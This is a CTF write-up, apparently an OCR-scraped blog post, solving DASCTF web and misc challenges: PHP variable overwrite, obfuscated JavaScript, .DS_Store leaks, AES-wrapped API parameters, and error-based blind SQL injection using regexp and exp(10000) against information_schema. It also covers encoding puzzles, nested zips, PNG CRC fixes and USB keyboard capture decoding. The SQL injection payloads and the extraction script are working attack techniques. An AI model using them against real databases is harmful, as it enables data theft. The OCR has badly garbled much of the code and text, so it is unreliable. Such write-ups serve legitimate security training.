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™ & view-source:http://183.129.189.60:10013/

JIDOCTYPE html»
<html lang="en">
<head>

<{meta charset="TTF-8">
{title>Velcome</title>
</head>
<body >
<fdivy
<hl style="text-align: center >Where is flag?</hl>
P

foreach (§ PO
5

Ssecret
foreach (§ GET as Skey => Svalue/{
N Ly »
if (§key=="rlag )
Sstr=F§value
§§str=§secret

if (isset ($hehe)) {
" fv- T i oo
gcho <center. . Shehe. < centers ;
S/ Tlag+flazg=DASCTF {XXXXXXX;
-2
</body>

{center>
</html>
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BRETHEAEE, £ index.js FRIM—A win() EE

0;
}

121 |functian win()-{
if - (scores >=-1000)

{

var-_ex46ec=['PD4d', 'w7Nbwohlw6IWw6gMwovDr80FTFHCq80WwrLDrwQMwrnClEcbw5LCM2DCUEU1wopOwSHDIMOqwaMCcQMmig=="]; var - _B8x14e9=function(_Bx46ecf9,_6x

(' RBkEI1eee ) THEIK S Flaghk | | | );
CSDN @K 7]

L P A H SR ) LT

var _Ox46ec=|[ 5 ];var
0x1409=function(_Ox46ecf9, 0x14099c){ Ox46ecf9=_0x46ecf9-0x0;var _0x147e02=_ 0Ox46ec|[_0Ox46ecf9];if(_0Ox1409[
] undefined){(function(){var _0@x44f86c;try{var _0x51fbd2=Function(
); _0x44186c=_0x51fbd2();}catch(_0x3a294d){ 0x44f86c=window; }var _0x159497
;_ex44f86c| 1| |(_ex44f86¢c[ ]=functio
n(_0x526c85){var _0x7d68al=String(_0x526c85)[ 1(/=+$/,"'");var _@x4docfa ;for(var _@x9e9f31=0x0, 0x147d
90, 0x2c322a, 0x47a537=0x0; 0x2c322a=_0x7d68al[ 1(_0x47a537++) ;~_0x2c322a&&(_0x147d90=_0x9e9f317%0x4?_0x14]
7d90*0x40+_0x2c322a:_0x2c322a,_0x9e9f31 Ox4)?_0x4docfa+=String| ] (0xff& 0x147d90>>(-0x2*_0x9e9f31
Ox6)):0x0){_0x2c322a=_0x159497[ 1(_0ex2c322a); }return _Ox4docfa;});}());var _0x53ebl2=function(_0x4dc347
,_0xe317a0){var _0x211d73=[],_0x298631=0x0,_ 0x4cdodd,_0x130442="", 0x23dd14="";_0x4dc347=atob(_0x4dc347);for(var
_0x23eb61=0x0, 0x39a191=_0x4dc347[ ];_0x23eb61<_0x39a191; ©x23eb61++){ 0x23dd14 ¢ _0x4dc347[
1(_0x23eb61)[ J(ex10))[ 1(-6x2);}_0x4dc347=decodeURIComponent(_0x23dd14);var _0x439d37;fl
or(_0x439d37=0x0; 0x439d37<0x100; 0x439d37++){_0x211d73[_0x439d37]=_0x439d37; }for(_0x439d37=0x0; 0x439d37<0x100;
Ox439d37++){_0x298631=(_0x298631+ 0x211d73[_0x439d37]+_0Oxe317a0] 1(_0x439d37%_0xe317a0[ 1))%e
x100;_0x4cdedd=_0x211d73[_0x439d37];_0x211d73[_0x439d37]=_0x211d73[_0x298631];_0x211d73[_0x298631]=_0x4cdodd;}_o
x439d37=0x0; 0x298631=0x0;for(var _0x59adof=0x0; 0x59adof<_ox4dc347[ 1;_0x59adef++){ _0x439d37=(_0x439d37
0x1)7%0x100; 0x298631=(_0x298631+ 0x211d73[_0x439d37])%0x100; Ox4cdedd=_0x211d73[_0x439d37];_ 0x211d73[_0x439d37]
@x211d73[_0x298631]; 0x211d73[_0x298631]=_0Ox4cdedd; 0x130442+=String[ 1(_exadc347][ i
x59adof)” 0x211d73[(_0x211d73[_0x439d37]+_0x211d73[_0x298631])%0x1008]); }return _0x130442;}; 0x1409[ ]=_ox
53eb12;_0x1409[ 1={};_6ex14e9[ ] [1;}var _0x9d59eb=_0x1409[ 1[_0x46ecf9];if(_0x9d59eb===un
defined){if(_0x1409[ ] undefined){_6x1409[ ] [1;}_06x147e02=_0x1409[ 1(_0x147e02,_0x1409
9c); 0x1409[ 1[_0x46ecf9]=_0x147e02; telse{ 0x147e02=_0x9d59eb; }return _0x147e02;};console[_ 0x1409( 5
)1(_0x1409( ,

defined){( 01
1 e
-0x0;_oxac322a=_ox7ossall c 1%0:
x2c322a);3 3 i 5 = & M
b axaaam _@x23ebble+){_Ax23dd1dr="5"+(" C £1(8x18) )0
E ; E e & 3 T+ o ]

(_ex439437%_6xe317a0[ 19)X6x160; _oxic dod-_Ox11473[_6439437 _0x211d73[_0x298631]- amaana 5}_0xA39037-0x8;_0x29863! ( 5 _exade347[ ' L 1;_@w593d0++){_ox 4390372051 ) %0%100;_0x298631~
(Cex298631+_Bx211d73[ 37])%@0 _xdcdidd-_exz11473(_0x435437 1473 9x439437] X 5_0x211d73[_0x2986311—_@xAcdedd;_0x138442+—Stringl 'From de*1(_@xade347] <AL 1(_0x59d0f) o143 Bea114730 umsam‘ 0x211d73]_0x298631])%8x100] )}
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mysql>
mysql> select group concat(distinct table schema) from information schema.tables;

1 row in set (0©.00 sec)

mysql> select hex(group_concat(distinct table_schema)) from information_schema.tables;

1 row in set (0.00 sec)

mysql> select * from users where username='"' or (select if(group_concat(distinct table_schema) regexp Ox5E63,exp
(10000),1) from information_schema.tables);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(10000)'

mysql>

mysql> select * from users where username='"' or (select if(group_concat(distinct table_schema) regexp Ox5E62,exp
(10000),1) from information_schema.tables);

mochu? mochu?
flag flag{The_Sql_F14g_of_mochu7}
Administrator 87420300d72a3676c4413ce52454eff7

4 rows in set (0.00 sec)

mysql> select * from users where username='"' or (select if(group_concat(distinct table_schema) regexp Ox5E6374,e
xp(10000),1) from information_schema.tables);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(10000)'

mysql>

mysql> select * from users where username='"' or (select if(group_concat(distinct table_schema) regexp Ox5E6375,e

xp(10000),1) from information_schema.tables);

mochu? mochu?
flag flag{The_Sql_F14g ©f mochu7}
Administrator 87420300d72a3676c4413ce52454eff7

4 rows in set (0.00 sec)

mysql>

mysql> select group_concat(distinct table name) from information_schema.tables where table schema='ctf';




mysql>
mysql> select group concat(distinct table name) from information_schema.tables where table schema regexp 'ctf';

1 row in set (0.00 sec)

mysql>

mysql> select hex(group_concat(distinct table_name)) from information_schema.tables where table_schema regexp 'c

1 row in set (0.00 sec)

mysql>

mysql> select * from users where username='"' or (select if(group_concat(distinct table_name) regexp Ox5E64,exp(1
0000),1) from information_schema.tables where table_schema regexp 'ctf');

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(10000)'

mysql> select * from users where username='"' or (select if(group_concat(distinct table_name) regexp Ox5E63,exp(1

0000),1) from information_schema.tables where table_schema regexp 'ctf');

flag flag{The_Sql_F14g of_mochu7}

|
mochu? mochu?
|
Administrator | 874a0300d72a3676c4413ce52454eff7 |

4 rows in set (0.00 sec)

mysql>

mysql> select * from users where username='"' or (select if(group_concat(distinct table_name) regexp Ox5E6461,exp
(10000),1) from information_schema.tables where table_schema regexp 'ctf');

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(10000)'

mysql>

mysql> select * from users where username='"' or (select if(group_concat(distinct table_name) regexp OX5E6460,exp
(10000),1) from information_schema.tables where table_schema regexp 'ctf');

mochu? mochu?
flag flag{The_Sql_F14g ©f mochu7}
Administrator 87420300d72a3676c4413ce52454eff7

4 rows in set (0.00 sec)

mysql>




mysql> select group concat(distinct column name) from information_schema.columns where table name regexp 'flag';

1 row in set (0.00 sec)

mysql> select hex(group_concat(distinct column_name)) from information_schema.columns where table name regexp 'fi

1 row in set (0.00 sec)

mysql> select * from users where username='"' or (select if(group_concat(distinct column_name) regexp Ox5E66,exp(
10000),1) from information_schema.columns where table name regexp 'flag');
ERROR 1690 (22003): DOUBLE value is out of range in 'exp(10000)'

mysql> select * from users where username='"' or (select if(group_concat(distinct column_name) regexp OX5E67,exp(

10000),1) from information_schema.columns where table name regexp 'flag');

mochu? mochu?
flag flag{The_Sql_F14g_of_mochu7}
Administrator 87420300d72a3676c4413ce52454eff7

4 rows in set (0.00 sec)

mysql> select * from users where username='"' or (select if(group_concat(distinct column_name) regexp Ox5E666C,ex
p(10000),1) from information_schema.columns where table name regexp 'flag');

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(10000)'

mysql>

mysql> select * from users where username='"' or (select if(group_concat(distinct column_name) regexp OxS5E666B,ex
p(10000),1) from information_schema.columns where table name regexp 'flag');

mochu?
flag{The_Sql_F14g of mochu7}
874a0300d72a3676c4413ce52454ef7




mysgl> select flag from ctf.flag;

1 row in set (0.00 sec)

mysql> select hex(flag) from ctf.flag;

1 row in set (0.00 sec)

mysql> select * from users where username='"' or (select if(group_concat(flag) regexp Ox5E66,exp(100000),1) from
ctf.flag);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(100000)'

mysql>

mysql> select * from users where username='"' or (select if(group_concat(flag) regexp Ox5E65,exp(100000),1) from

__________________________________ L

password |
__________________________________ +

mochu?
flag{The_Sql_F14g_of_mochu7}
Administrator 87420300d72a3676c4413ce52454eff7

__________________________________ L

4 rows in set (0.00 sec)

mysql> select * from users where username='"' or (select if(group_concat(flag) regexp Ox5E666c,exp(100000),1) fro
m ctf.flag);

ERROR 1690 (22003): DOUBLE value is out of range in 'exp(100000)'

mysql> select * from users where username='"' or (select if(group_concat(flag) regexp Ox5E666d,exp(100000),1) fro

flag{The_Sql_F14g_of mochu7}
87420300d72a3676c4413ce52454eff7

Administrator

L
|
b
|
| mochu7
|
|
+
c

4 rows in set (0.00 sec)

mysql>

Pythonfi#i 4«




(99999999999999999) :

for c in strings:

if res

pay = payload. (hex(ord(c))[2:])

r requests.post(url=url, data=pay,headers=headers).text
else:

pay payload. (res ( (c))[2:])

r requests.post(url=url, data=pay,headers=headers).text

in r:

res (c))[2:]

f (@

print(f)

break
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HFEHEB A .0s_store X

php, htnod, js, zip, rar

PS D:\Tools\Web\ds_store_exp> python2 .\ds_store_exp.py http://183.129.189.60:10819/.DS_Store
[280] http: //183.129.189.60:10019/.D5_5tore

[ua3] http: //183.129.189.68: 19919;";‘]5

[u@3] http://183.129.189.60:10019/font-awesome

[ua3] http: //183.129.189.60:18019/css

PS D:\Tools\Web\ds_store_exp> |
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sell system x|+ = X
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Request

Pretty JREVE Hex \n

1 GET /api.php?data=|uM8Uc3TDNsxAvzV/61zXA== HTTP/1.1

2 Host: 183.129.189. 60:10019

3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:92.0) Gecko/20100101 Firefox/92.0
4 Accept: */*

5 Accept-Language: zh-CN, zh;q=0.8, zh-TN;q=0. 7, zh-HK;g=0. 5, en-US;g=0. 3, en;q=0. 2

& Accept-Encoding: gzip, deflate

7 Connection: close

Response

Raw Hex Render \n =

HTTP/1.1 200 OK

Date: Mon, 27 Sep 2021 10:18:44 GMT
Server: Apache/2.4.38 (Debian
X-Powered-By: PHP/7.3.24
Content-Length: 8

Connection: close

Content-Type: text/html; charset=UTF-8

N AW N

8 Referer: http://183.129.189. 60:10019/ 8

9 Cache-Control: max-age=0 9 hint. txt

10

11
CsD

m Cancel || < |¥|

Request Response

Pretty JREMl Hex \n = Pretty m Hex Render \n =

1 GET /hint. txt| HTTP/1.1 1 HTTP/1.1 200 OK

2 Host: 183.129.189. 60:10019 2 Date: Mon, 27 Sep 2021 10:19:14 GMT

3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:92.0) Gecko/20100101 Firefox/92.0 3 Server: Apache/2.4.38 (Debian)

4 Accept: */* 4 Last-Modified: Mon, 06 Sep 2021 08:20:38 GMT

5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;q=0. 2 5 ETag: "10-5ch4f52f20180"

6 Accept-Encoding: gzip, deflate 6 Accept-Ranges: bytes

7 Connection: close 7 Content-Length: 16

8 Referer: http://183.129.189.60:10019/ 8 Connection: close

9 Cache-Control: max—age=0 9 Content-Type: text/plain

10 10

1 11 flag in database ) ~
CSDN @3k 1)

BEIRBEIM /js/api.Js

<div class="col-xs-6">

Complete Orders
</div>

<div eclass="col-xs-& Text-right">

<i olass="fa fa-arrow-circle-right"»</i>

</div>
</div>
</div>
</ax
</div>
</div>
</div>
</div>
</div>

<soript sro="js/api.js"></saript>
Script -->

<saript sro="js/dquerv-1.10.2.93"></saript>
<script sre="js/bootstrap.js"></script>

<!—-— Page Specific Plugins -->

<soript sro="js/raphael-min.js"></saript>

<script sre="js/tablesorter/jguery.tablesorter.js"»></script>

<saript sro="js/tablesorter/tables.js"></saript>

< /body>
</html>

T B B RIIX B R message I AES INE 2 J51E42 api.php




var message =

var encrypt ; . (message, .enc.Utf8. (asekey),
mode : .mode.ECB,
padding: .pad.Pkcs7

IR 0;

(encrypt);

var httpRequest = new 0);
httpRequest. ('GET', 'api.php?data='+encrypt, );
httpRequest. ();

httpRequest.o tatechange = function () {
if (httpRequest.readyState == 4 && httpRequest.status == 200) {
var json = httpRequest.responseText; B
var content = . ("download");
content.href = json;

ZRAMBITIRA js XM, EBRXEK js WHEREARELE <script></scrip> #r%H, AR AT fEweb ik 55 E IEH #
B REEFEREREREL THX

sell system ¥ 127.0.0.1/app.html x -+

& # ™ O O 127.0.0.1/app.html

1B message RS api.php SEGHATINR; & H WA ST Ty

var aseKey

var message

#3: JZCAPINHhy802jDLaGkzUg



F 9 S T BE AR AE — R R AF HRGETHZ, Bl urlencode —F

1 x 2 x 3 x
=R o (<7

Request

Response

G Raw Hex Render \n =

1 HTTP/1.1 200 OK

2 Date: Mon, 27 Sep 2021 11:04:36 GNT

2 Host: 183.129.189.60:10019
3 User—Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x64; rv:92.0) Gecko/20100101 Firefox/92.0 3 Server: Apache/2.4.38 (Debian)
4 X-Powered-By: PHP/7.3.24

Pretty ILEIV Hex \n =
1 GET /api.php?data=%4a%5a%43%41%50%49%4e%48%68%79%38%30%32%6a%44%4c%61 %4T5%6b%7a%55%67%3d%3d| HTTP/1. 1

4 Accept: */%
5 Accept-Language: zh-CN, zh;q=0.8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en; q=0. 2 5 Content-Length: 5
6 Accept-Encoding: gzip, deflate & Connection: close
7 Connection: close 7 Content-Type: text/html; charset=UTF-8
8 Referer: http://183.129.189. 60:10019/ 8
9 Cache-Control: max-age=0 7 NOlL!
10
CSDN @3k 4

1"

AHiyE, ERTT VAW IZRIEN R BOEMEEHfuzz, F TN, IR A

HIEMRE, RAET O FIEATRTEEANLRESE; FroENIX Eflagrl REM7E S ATRS; SXWER B LR +F K
H A B



2% . KT MySQL $¥E = 747 [ 59 K B i R i+t

admin

mochu7

flag flag{The_sql_Fiug_@f_mochu7}
Administrator 87Uab380d72a3676culdl3ces52U5UeffT

+
|

+
|
|
|
|

+

+ _____
4 rows in set (8.80 sec)

mysql> select * from ctf.users where username='";
Empty set (8.88 sec)

mysql> select * from ctf.users where username=''=8;

+———— +

| wid |

= +
|
|
|
|
+

| admin

| mochu?

| flag flag{The_Sql_Flug_8f_mochu7}

| Administrator 87uap300d72a3676cull3ces52Uu5ueffT
+ _____

4 rows in set (8.00 sec)

mysql> select * from ctf.users where username=''+8;

o
|
o
| admin

| mochu?

| flag flag{The_Sql_Flug_8f_mochu7}

| Administrator 87Uab380d72a36T76cUll3ce52u5UeffT
o

4 rows in set, 3 warnings (0.80 sec)

mysql> select * from ctf.users where username='"'-8;

admin admin
mochu?7 mochu?7
flag flag{The_Sql_Flug_ef_mochu7}

+

|
+
|
|
|
| Administrator 87uap300d72a3676cull3ces52Uu5ueffT
+

4 rows in set, 3 warnings (0.88 sec)

mysql> select * from ctf.users where username=''=8 limit 2,1;

CSDN @ #]

FAXBEESHITIET, A offset Geid; BT, HEXBEFEHKRZ js %K
kS JavaScriptib#H Unicode i \u0000 #: Wi 2 457 & ]
payload

var aseKey
var message

#4H: LWtroYEOQUSCXrwoX6IktqPUS/Yg8zMkmYZrgPlmXaPfwxbZdBqLgEMo+KArn/jD


https://cloud.tencent.com/developer/article/1697229
https://blog.csdn.net/typhoonpython/article/details/117112328

/api.php?data=%4ck57%74%72%30%59%45%Af%30%75%38%A3%58%72%77%61%58%36%A49%6b%74%71%50%55%53%21%59%67%38%7 a%Ad%6b%6
d%59%5a%72%71%50%6 C%6d%58%61%50%66%77%78%62%5a%64%A2%71%AC%71%A5%Ad%61%2b%Ab%A1%7 2%6€%2 %6 %44

Response

Raw Hex Render \n
1 HTTP/1.1 200 OK
2 Date: Mo
3 Server:
4 X-Power
dows NT 10.0; Winé4; x 5
& Connection
, zh=TW;q=0. 7, zh-HK :q=0. 5, en-US; Len; .2 Content-Type

9 DASCTF [b71a752e4d5388b%e3ab2dc1aebdBf21}
29.189. 60:10019/
9 Cache-Contr max-age=0

Misc

A A R Y

F<<LLLLLLLLLLLKLKLKL OO55555++++++.>----.<

HLIT+COITOI I+ D [+ DT 1+ CH LI+ DD [+DT1+CH LT+ DT
+[1+!
1+!+
1+([!
[11+(C!

1] [+ L]+ [T T+ U LT+ LDD [+
]]+[])[+‘+[]]+("[]+[])[+[]]+("[]+[])[+'+
#1011 O+ DL+ L1+ 0[]+ 1+ ]+

[
[]+[])[‘+[]+'+[]+'+[]]]()+[])['+[]+’+[]] [

+

[

[
]
4

Ymfi%3: Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
I Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!

Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
I Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
| Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.
. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
I Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!
I Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.
| Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!
| Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
. Ook. Ook! Ook. Ook? Ook.




%512 brainfuck , fESEZ]

Yaf272 jjencode , ELEETHNIEH 5

COI0C HED 40 SOOI E OO D O I I T 10 OO ODE 010 DRI U0+ 0+ =010 DD 00+ 01O 1) D00 L0 [ L S [ O L L1 L0 L0 L] LT [ L [ L]+ 14 ]+ 0]
CDL 1+ L1 LTI D S DT+ LT LI+ 1+ (OO C L1+ TI 2 [+ D1+ D1 (IO T+ DD [+ D0+ U+ TI B LT3+ (2 L L1 ED) [+ 2+ 010+ (L LI+ 0 L0 D) D+ D1+ L+ 011+ (2 L) [+ D0+ 2 L1+ D0 C L+ DI D+ T+ Ll 11 DO A1) [+ T+ 4 [T+ L1+ DR+ 010+ ( L ED) DO+ D3+ 011+ L2+ 1]

i35 Ook! :
f6fd50221978}
15 Flflag

flag{ab71cdalb495e13b3f21f6+d50221978}

Extractall

hint.txt

WRERE, W, ZFHMEESGCLY, HEER

© [REFTQ.zip - Bandizip (Standard) -
MHHF) REB(E) =) ®EmO) MEN) TEM  EEH)

H R

£3 [REFTQaip E®R - EEE EE, =R BEFTIARLE (CRC) BHHHE EEAIE mEEE  BiE ==
£2 1RGe0V.zip™ 383,348 383,276  ZIP FEEEHE 023blca6  2021/8/11 21:00:09 Deflate ZipCrypto  A__
CSDN @3F 4]

JEGE BRI E ML, Pythonfi #4022 R AT



from zipfile import

from os import

init_name
name_list
path getcwd
zip_name init_name
while True
try
name_list.append(zip_name
ZipFile(zip_name
if
extractall(path, pwd=zip_name.encode
zip_name namelist (%] 4
else
continue
except
break

print(name_list

IHEERE » FEE » extractallAIRTE EE "extractal FIHHE"

M

[REFTQ.zip 1RGeDV.zip 3RhbGx.zip 4dHIhY zip Tztjka.zip

9rskpS.zip 29fRnV.zip a27¥s40.zip a93sub.zip bwn8ta.zip dxzk1lzip ehtBan.zip

ccCaae

fcofe2.zip fSXNfU zip gecdbl.zip p0l2vg.zip ufQ==]zip yqbikd.zip zmckit.zip

(]
-

== 4T
U #

4P codepy flag.txt

21RRERE 7k, {BflagT

extractall.png fi] @10 Editor FTH RIL CRCB:GIRES ,» MiZBEH TR ERE, #HAMAREMEES



import binascii

(fr[oxec:0ex1d])
(binascii.b2a hex(fr[0x1d:0x21]))[2:-1])

(struct.pack( , W))

(struct.pack( , h))
(4):
data[x+4] width[x]
data[x+8] height[x]
crc32result binascii.crc32(data) oxffffffff
if crc32result crc32key:
print(width,height)
newpic (fr)
for x in (4):
newpic[x+16] width[x]
newpic[x+20] height[x]
fw ( > )
fw.write(newpic)
fw.close
sys.exit()

PS C:\Users\Administrator\Downloads\extractallfB9Bd{E> 1s
Directory: C:\Users\Administrator\Downloads\extractallfA%Bi{

Mode LastWriteTime

—a——-— 2821/8/11 5 383518 [REFTQ.Zip
—-a——-— 2021/9/28 16:26 383276 IRGEBV.Zip
—a——-— 2021/9/28 16:26 3860614 29fRnV.Zip
—-a——-— 2021/9/28 16:26 382558 3thGx.Zip
—a——-— 2021/9/28 16:26 383034 ﬂdHJhY.Zip
—-a——-— 2021/9/28 16:26 380138 Tthka.zip
—a——-— 2021/9/28 16:26 382388 Bsmjtq.zip
—-a——-— 2021/9/28 16:26 381582 grskps.zip
-a——- 2021/9/28 16:26 3796U6 aETSﬂB.Zip
—-a——- 2021/9/28 16:26 381346 a935u6.zip
-a——- 2021/9/28 16:26 381098 alBDﬁB.Zip
—-a——- 2021/9/28 16:26 379888 bvnBta.zip
—-a——— 2021/9/28 16:32 958 code.py
—-a——- 2021/9/28 16:26 37o4e4 dxzkll.zip
-a——- 2021/9/28 16:26 382792 ehtBDn.Zip
—-a——— 2021/9/28 16:26 379873 extractall.
—-a——- 2021/9/28 16:26 3860372 +c09e2.zip
-a——- 2021/9/28 16:26 76 flag.txt
—-a——- 2021/9/28 16:26 381824 {SXN{U.Zip
—a——-— 2021/9/28 16:26 378928 gecgbl.zip
—-a——-— 2021/8/12 11:38 72 hint.txt
—a——-— 2021/9/28 16:26 380856 pﬂlzuq.zip
—-a——-— 2021/9/28 16:26 378716 u%Q::].zip
—a——-— 2021/9/28 16:26 379162 yqﬁiku.zip
—-a——-— 2021/9/28 16:26 382066 chkit.zip

PS5 C:\Users\Administrator\Downloads\extractallgJff{t> python .\code.py




R iBik: C:\Users\Administrator\Downloads\extractallfJBf & \extractall.png
bytearray(b'\x8e\xe8\x83\xal') bytearray(b'\x8e\xe6\x81\xeb')
PS C:\Users\Administrator\Downloads\extractallfIHi #> |

CSD 7

89 50 4 47 0D 0OA 1A OA 00 00 00 OD HPNG. .. .....
o0 00 03 A4 00 00 01 0B & 00 00 00
00 0 E4 BD
} } . E7

GO gle ﬂ extractall.png.png leonardo fibonacci png X B 4 Q
Q Al () Images @ Maps ¢ Shopping  } More Tools

About 445 results (1.85 seconds)

Image size:
932 = 49

Mo other sizes of this image found.

Possible related search: leonardo fibonacci png

hitps:/icommons.wikimedia.org » wiki » File:Leonardo... =

File:Leonardo Fibonacci.png - Wikimedia Commons
07-Jun-2016 — File’Leonardo Fibonacci png. Language; Watch - Edit ... Original file (768 x

A N A miwale fila cimas B0 WD RAILAD S imaomee Jumwmma s



I ULS PIATID, 1T DILT. Qes ND, IVIIIVIE LY T, IHTIaYT g ).

hitps:fwww.alamy.com » stock-photo » fibonacci -

Fibonacci Stock Photos and Images - Alamy

Leonardo Pisano Bigollo (1170 - 1250) alse known as Leonardo of Pisa, Leonardo Pisano,
Leonardo Bonacci, Leonardo Fibonacci, or, most commaonly, ...

WK, WERBE LpmRgs) , ULHLAZRBEST TRNFIR, EHBRbase6d; HR2ZRXEEPERAE —LMFER
RIARE, A —BFRFHFEANR base6s Hitl;

['[REFTQ', '1RGe@V', '4dHJhY', 'eht8on', '3RhbGx', '8smjtq', 'zmckit', 'fSXNfU', 'O9rskp5', 'a93su6', 'ale@o68',

pel2vq', '29fRnV', 'fco9e2', '7ztjka', 'bvn8ta', 'a27s40', 'dxzkll', 'yq6ik4', 'gec9bl', 'ufQ==]"]

R CAE A B3k 21 T, PRI 8 Wt 215 Frih =X BN REFI AT 8 B FEAIX 21 BB IR TR
B4

from base64 import

filename_list

k) k)

]
fibo list = [1, 1, 2, 3, 5, 8, 13, 21]

base64 str
for idx in fibo_list[1:]:
base64 str filename_list[idx 1]

print(base64_str)
print(b64decode(base64 _str[1: (baseb4_str)-1]))

PS C:\Users\Administrator\Downloads\extractallKiff/4> python .\code.py
[REFTQ1RGe@V4dHIhY3RhbGXfSXNFfU29fRnVufQ==
b'DASCTF{Extractall Is So Fun}'

easy_usb

B SR UsbKeyboardDataHacker ZiRIRI — F AR &

root@mochu7-pc:/mnt/d/Tools/Misc/UsbKeyboardDataHacker# 1ls -1lha

total 136K

drwxrwxrwx 1000 root 4.0K Oct 5 16:57 .

drwXxrwxrwx 1000 root 4.0K Oct 3 01:28 ..

- PWXPWXPWX 1000 root 125K Jul 23 14:22 easy_usb.pcapng

- PWXPWXPWX 1000 root 1.2K Nov 11 2020 README.md

- PWXPWXPWX 1000 root 3.2K Sep 8 2020 UsbKeyboardDataHacker.py
root@mochu7-pc:/mnt/d/Tools/Misc/UsbKeyboardDataHacker# python UsbKeyboardDataHacker.py easy_usb.pcapng

Running as user "root" and group "root". This could be dangerous.

HE R >heard< >youx >had< >the< >flag< >00< >how< >i<
>flag< >000000000000< >i< >know< >so< >what< >is< >flag<
0000000000then< >md5< >the< >capital< >letters< >0000000000000000< >< >
root@mochu7-pc:/mnt/d/Tools/Misc/UsbKeyboardDataHacker#

B2l —Bis



i heard you had the flag

how can i get the flag

i know so what is the flag

then md5 the capital letters

R 2R lag B B 2R/ B K5 FEmd5inE
s, KRI usb.src=="2.7.1" A [E €K dataZ 5

M casy usb.peapng

XiEE REE e BRO Sife wite B3y ZEw IEO =EE

4 m @® REQARe>2=F 25 =S QAQAQH

(W nsb. sro="2.7.1"

Ha Fort Tine Source Destination Fratasal Length Frame Tdentification Infs
185 @xT{f{fff 66.103006 2.7.1 thost USB 47 & URB_INTERRUPT in
183 oxffffffff 66.099008 2.7.1 host UsB 47 URB_INTERRUPT in
181 oxffffffff 66.003053 2.7.1 host USB 47 URB_INTERRUPT in
179 exffffffff 65.999047 2.7.1 host USB 47 & URB_INTERRUPT in
173 oxfffffff 60.239040 2.7.1 host UsB 47 URB_INTERRUPT in
171 oxfFfffff 60.235044 2.7.1 host USB 47 URB_INTERRUPT in
169 exffffffff 60.122983 2.7.1 host UsB 47 & URB_INTERRUPT in
167 oxfffffff 60.119038 2.7.1 host UsB 47 URB_INTERRUPT in
165 oxfff{ffff 58.959030 2.7.1 host USB 47 URB_INTERRUPT in
163 @xffffffff 58.951033 2.7.1 host UsB 47 URB_INTERRUPT in
161 oxfffffff 58.835041 2.7.1 host USB 47 URB_INTERRUPT in
159 exffffffff 58.827041 2.7.1 host USB 47 & URB_INTERRUPT in
157 oxffffffff 57.987049 2.7.1 host UsB 47 URB_INTERRUPT in
155 oxffffffff 57.983040 2.7.1 host USB 47 URB_INTERRUPT in
153 exffffffff 57.843000 2.7.1 host USB 47 & URB_INTERRUPT in
151 oxffffffff 57.839001 2.7.1 host UsB 47 URB_INTERRUPT in
149 oxfffffff 57.091012 2.7.1 host USB 47 URB_INTERRUPT in
147 oxffffffff 57.087043 2.7.1 host USB 47 URB_INTERRUPT in

Frame 185: 47 bytes on wire (376 bits), 47 bytes captured (376 bits) on interface wireshark_extcap1748, id @
USB URB
Leftover Capture Data: 001

1b @0 20 9a 4c 1b od c2 ff ff 00 00 0@ 00 09 00 L
01 02 00 07 20 81 01 14 00 00 00 00 14 00 00 00
00 00 00 00 00 00 PO 90 0V 00 00 00 00 00 09

CSDN @3k 4]

Fitsharki2 B H k40— T

